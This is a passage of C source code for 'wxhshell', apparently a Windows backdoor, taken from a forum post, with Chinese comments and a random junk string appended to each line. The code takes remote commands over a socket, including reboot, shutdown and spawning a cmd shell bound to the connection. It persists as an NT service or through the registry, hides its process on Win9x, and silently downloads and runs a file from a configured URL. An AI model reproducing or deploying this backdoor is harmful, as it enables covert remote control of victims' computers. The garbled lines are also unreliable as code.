      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QqW N7y_9  
    break; + `'wY?  
  } CK4#ZOiaa  
  // 安装 jgXr2JQ<  
  case 'i': { 8p}z~\J{a:  
    if(Install()) 3d1xL+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d Efk~V\  
    else ]c 'EJu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zs3xoIW7Ai  
    break; ;QCGl$8A  
    } =u0a/2u|  
  // 卸载 &,Loqr  
  case 'r': { [J eq ?X9  
    if(Uninstall()) 5S&Qj7kr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !nsr( 7X2  
    else 32anmVnf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P92pQ_W  
    break; [9~EH8  
    } UL&>]aQ  
  // 显示 wxhshell 所在路径 ;$$w`LyP  
  case 'p': { rP"Y.;s  
    char svExeFile[MAX_PATH]; y/_=  
    strcpy(svExeFile,"\n\r"); }7{( o-  
      strcat(svExeFile,ExeFile); ##F$8d)q  
        send(wsh,svExeFile,strlen(svExeFile),0); mAIl)mq|g  
    break; 4XJ']M(5;  
    } G\k&s F  
  // 重启 v1}ijls  
  case 'b': { Td7Q%7p:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;"9Ks.  
    if(Boot(REBOOT)) 'h~IbP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l9+CJAmq  
    else {  >}]bKq  
    closesocket(wsh); .v+J@Y a  
    ExitThread(0); QJR},nZ3  
    } O)&ME  
    break; uP8 cW([  
    } SLNOOEN  
  // 关机 ]0%{ IgB  
  case 'd': { 3&c'3y:b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  myOW^  
    if(Boot(SHUTDOWN)) ^Dfqc-]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6wq%4RI0  
    else { + <w6sPm  
    closesocket(wsh); &,l7wK  
    ExitThread(0); )M[FPJP}  
    } 9T`YHA'g  
    break; |@R/JGB^  
    } 8/,s 8u  
  // 获取shell \fUVWXv  
  case 's': { B"*PBJuOA  
    CmdShell(wsh); ga;t`5+d  
    closesocket(wsh); k!+v*+R+V  
    ExitThread(0); 7pep\  
    break; }PDtx:T-  
  } 9nlj{(  
  // 退出 $}YN`:{  
  case 'x': { ]:?hU^H]<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?=kH}'igq  
    CloseIt(wsh); 7Ot&]M  
    break; -,mV~y  
    } [,~;n@jz  
  // 离开 ^$oEM0h  
  case 'q': { fG.6S"|M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +>a(9r|:  
    closesocket(wsh); es+ZPX>Y  
    WSACleanup(); V!+<  
    exit(1); fbah~[5}  
    break; '?{L gj^R  
        } -I#<?=0B  
  } P$clSJW  
  } ?&U~X)Q  
@fVz *  
  // 提示信息 K3rsew n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dOg c%(kz  
} mwz!7Q   
  } H6 $pA^  
.)FFl  
  return; ^fS_h `B  
} biQ~q $E  
nvodP"iV  
// shell模块句柄 iZ ;562Mo  
int CmdShell(SOCKET sock) ({C|(v9 C7  
{ iy_3#x5>  
STARTUPINFO si; << YH4}wZ  
ZeroMemory(&si,sizeof(si)); ('=Q[ua7-(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; poqNiOm4%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HGj[\kU~  
PROCESS_INFORMATION ProcessInfo; ?#ywUEY* i  
char cmdline[]="cmd"; $V_w4!:Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $B%3#-  
  return 0; AX )dZdd  
} BBl9<ne$  
Fj <a;oV  
// 自身启动模式 9Z3Y,`R,  
int StartFromService(void) =}SC .E\  
{ "!Hm.^1  
typedef struct Q 9JT6  
{  /zir$  
  DWORD ExitStatus; ( M3-S5   
  DWORD PebBaseAddress; 5* ~E dT  
  DWORD AffinityMask; 0{Zwg0&  
  DWORD BasePriority; = o1&.v2j  
  ULONG UniqueProcessId; q\fai^_  
  ULONG InheritedFromUniqueProcessId; #CB`7 }jq  
}   PROCESS_BASIC_INFORMATION; ;,B $lgF  
0qN?4h)7  
PROCNTQSIP NtQueryInformationProcess; yfA h=  
h61BIc@>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3J^'x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ITU6Eq  
anUH'mcK*  
  HANDLE             hProcess; <a D}Ko(  
  PROCESS_BASIC_INFORMATION pbi; 0INlo   
M8FC-zFs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RUV:   
  if(NULL == hInst ) return 0; F @Wb<+0  
Iw</X}#\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qu|<1CrZj]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CX>QP&Gj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <gY.2#6C\%  
?NUDHUn_  
  if (!NtQueryInformationProcess) return 0; Z&J.8A]L  
8d>>r69$pa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Aq&H-g]s  
  if(!hProcess) return 0; ?)/&tk9.n  
\ 3l3,VYH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yd`f<Hr<m  
*U|2u+| F  
  CloseHandle(hProcess); <%LN3T  
io4/M<6<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {F*81q\  
if(hProcess==NULL) return 0; Q$^Kf]pD  
fq[,9lK  
HMODULE hMod; =>)4>WT8A  
char procName[255]; /p[lOg  
unsigned long cbNeeded; Sh o] ~)XX  
t1]sv VX,w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?Ns aZ  
uhr&P4EW  
  CloseHandle(hProcess); t|k-Bh:x  
2?9gf,U  
if(strstr(procName,"services")) return 1; // 以服务启动 Y:K1v:Knw  
f}zv@6#&  
  return 0; // 注册表启动 ,Je9]XT  
} Cn8w}) B  
(>gHfC>(lq  
// 主模块 dWDf(SS  
int StartWxhshell(LPSTR lpCmdLine)  DE14dU  
{ +"SYG  
  SOCKET wsl; rY(h }z  
BOOL val=TRUE; J [ 4IO  
  int port=0; |gJI}"T  
  struct sockaddr_in door; <a$'tw-8  
!" 7ip9a  
  if(wscfg.ws_autoins) Install(); sQr |3}I(  
4.i< `'  
port=atoi(lpCmdLine); WH0$v#8`v  
. ^JsnP  
if(port<=0) port=wscfg.ws_port; )R9QJSe  
vip& b}u  
  WSADATA data; vKcc|#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZNTOI]P&  
^ )[jBUT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ){,v&[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =jW= Z$3q  
  door.sin_family = AF_INET; Bis'59?U_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `]l*H3+hg  
  door.sin_port = htons(port); R"k}wRnxY  
SRpPLY{:F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -JB~yO?0  
closesocket(wsl); a?X{k|;!7u  
return 1; M}b[;/~  
} Zjkrne{  
@G>Q(a*,  
  if(listen(wsl,2) == INVALID_SOCKET) { 'hH3d"a^=  
closesocket(wsl); 9..! g:  
return 1; *Z=:?4u  
} j= Ebk;6p  
  Wxhshell(wsl); A@k`$xevVj  
  WSACleanup(); aMycvYzH  
wT+b|K  
return 0; n*GsM6Y&  
bpWEF b'f  
} BF(.^oh"n0  
DAtZp%  
// 以NT服务方式启动 |dQ-l !  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vB9v8@[I&  
{ }O7b&G:nW  
DWORD   status = 0; *1cl PK  
  DWORD   specificError = 0xfffffff; mk&`dr  
8 ,<F102(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;Jq 7E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sT|FgB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #99fFs`w  
  serviceStatus.dwWin32ExitCode     = 0; d%='W|i\p&  
  serviceStatus.dwServiceSpecificExitCode = 0; NT<> LWo  
  serviceStatus.dwCheckPoint       = 0; is [p7-  
  serviceStatus.dwWaitHint       = 0; A5LTgGzaW  
g4 G?hv`R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C Nt  
  if (hServiceStatusHandle==0) return; @u}1 S1  
Xeo2 < @[  
status = GetLastError(); 'WLh D<  
  if (status!=NO_ERROR) !XJS"owr  
{ b )mU9   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E[N3`"  
    serviceStatus.dwCheckPoint       = 0; 0($ O1j~$  
    serviceStatus.dwWaitHint       = 0; j)neVPf%v  
    serviceStatus.dwWin32ExitCode     = status; w-M,@[G  
    serviceStatus.dwServiceSpecificExitCode = specificError; .q^+llM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?* %J Gz_  
    return; Gh#$[5&`  
  } ",gWO 8T  
%RF9R"t$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {[%kn rRJ  
  serviceStatus.dwCheckPoint       = 0; y.'5*08S0  
  serviceStatus.dwWaitHint       = 0; g1TMyIUt[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +)eI8o0#  
} P,/=c(5\}  
) FnJLd  
// 处理NT服务事件,比如:启动、停止 Y^~Dr|5%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )k}UjU`!  
{ >SR! *3$5  
switch(fdwControl) chr^>%Q_  
{ D[ -Gzqh  
case SERVICE_CONTROL_STOP: -l# h^  
  serviceStatus.dwWin32ExitCode = 0; a J&)-ge  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3Bk_4n  
  serviceStatus.dwCheckPoint   = 0; FV->226o%  
  serviceStatus.dwWaitHint     = 0; #nOS7Q#uW  
  { }pzUHl>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =5jng.  
  } lQSKY}h  
  return; )LP=IT  
case SERVICE_CONTROL_PAUSE: 93aRWEu3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `/0S]?a.{B  
  break;  ;Iu}Q-b*  
case SERVICE_CONTROL_CONTINUE: ,J3s1 ]~^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hH|moj]  
  break; ..g?po  
case SERVICE_CONTROL_INTERROGATE: ,xeJf6es  
  break; ;$Q&2}L[  
}; DiLZ5^`]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [aF^D;o  
} mDT"%I"4j  
<:rbK9MIl  
// 标准应用程序主函数 !b0ANIp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U)n+j}vi  
{ O*8 .kqlgt  
`Z 3p( G  
// 获取操作系统版本 A*r6  
OsIsNt=GetOsVer(); L\u6EMyV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T3W?-,  
Jbrjt/OG#I  
  // 从命令行安装 \<bar ~  
  if(strpbrk(lpCmdLine,"iI")) Install(); cn~M: LW23  
)_\ZUem  
  // 下载执行文件 6ofi8( n[  
if(wscfg.ws_downexe) { tXgsWG?v[H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3{wmKo|_X  
  WinExec(wscfg.ws_filenam,SW_HIDE); XsVp7zk\  
} y)B>g/Hoh  
*)6:yn  
if(!OsIsNt) { O~1vX9  
// 如果时win9x,隐藏进程并且设置为注册表启动 ).BZPyV<  
HideProc(); ~$O.KF:  
StartWxhshell(lpCmdLine); #:y h2y7a%  
} X?'v FC  
else (rM-~h6g  
  if(StartFromService()) }?0At<(d  
  // 以服务方式启动 4*K~6Vh  
  StartServiceCtrlDispatcher(DispatchTable); 5w# Ceg9  
else 2tq~NA\#t  
  // 普通方式启动 Kn !n}GtR  
  StartWxhshell(lpCmdLine); 8 )W{&#C>  
?%RN? O(  
return 0; VX!UT=;  
}
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只看该作者 1 发表于: 2006-10-10
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